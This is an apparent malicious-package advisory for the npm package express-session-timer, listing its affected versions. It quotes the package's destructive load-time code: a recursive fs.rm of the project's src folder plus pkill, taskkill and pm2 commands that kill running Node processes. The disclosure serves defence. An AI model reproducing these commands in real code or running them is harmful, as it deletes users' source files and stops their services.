MAL-2026-16065

    Dashboard / Malicious Package / MAL-2026-16065

    MAL-2026-16065

    Published: 9 Sept 2026Last Modified: 30 Sept 2026

    Summary: Malicious code in express-session-timer (npm)

    Details: Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f) [email protected] schedules an unconditional destructive routine at module load time. Approximately 18 seconds after `require('express-session-timer')`, the package recursively removes `<cwd>/src` via `fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true})` and terminates Node processes with `pkill -f "node.*${process.cwd()}"` on Unix, `taskkill /IM node.exe /F` on Windows, and `npx pm2 delete all`. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins `express-timer: ^0.0.1-security`, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.

    References: https://www.npmjs.com/package/express-session-timer/v/1.0.0, https://www.npmjs.com/package/express-session-timer/v/1.0.1, https://www.npmjs.com/package/express-session-timer/v/1.0.13, https://www.npmjs.com/package/express-session-timer/v/1.0.14, https://www.npmjs.com/package/express-session-timer/v/1.0.16, https://www.npmjs.com/package/express-session-timer/v/1.0.11, https://www.npmjs.com/package/express-session-timer/v/1.0.15

    Affected packages

    Package

    Name: express-session-timer

    Purl: pkg:npm/express-session-timer

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.0
    1.0.1
    1.0.13
    1.0.14
    1.0.16
    1.0.11
    1.0.15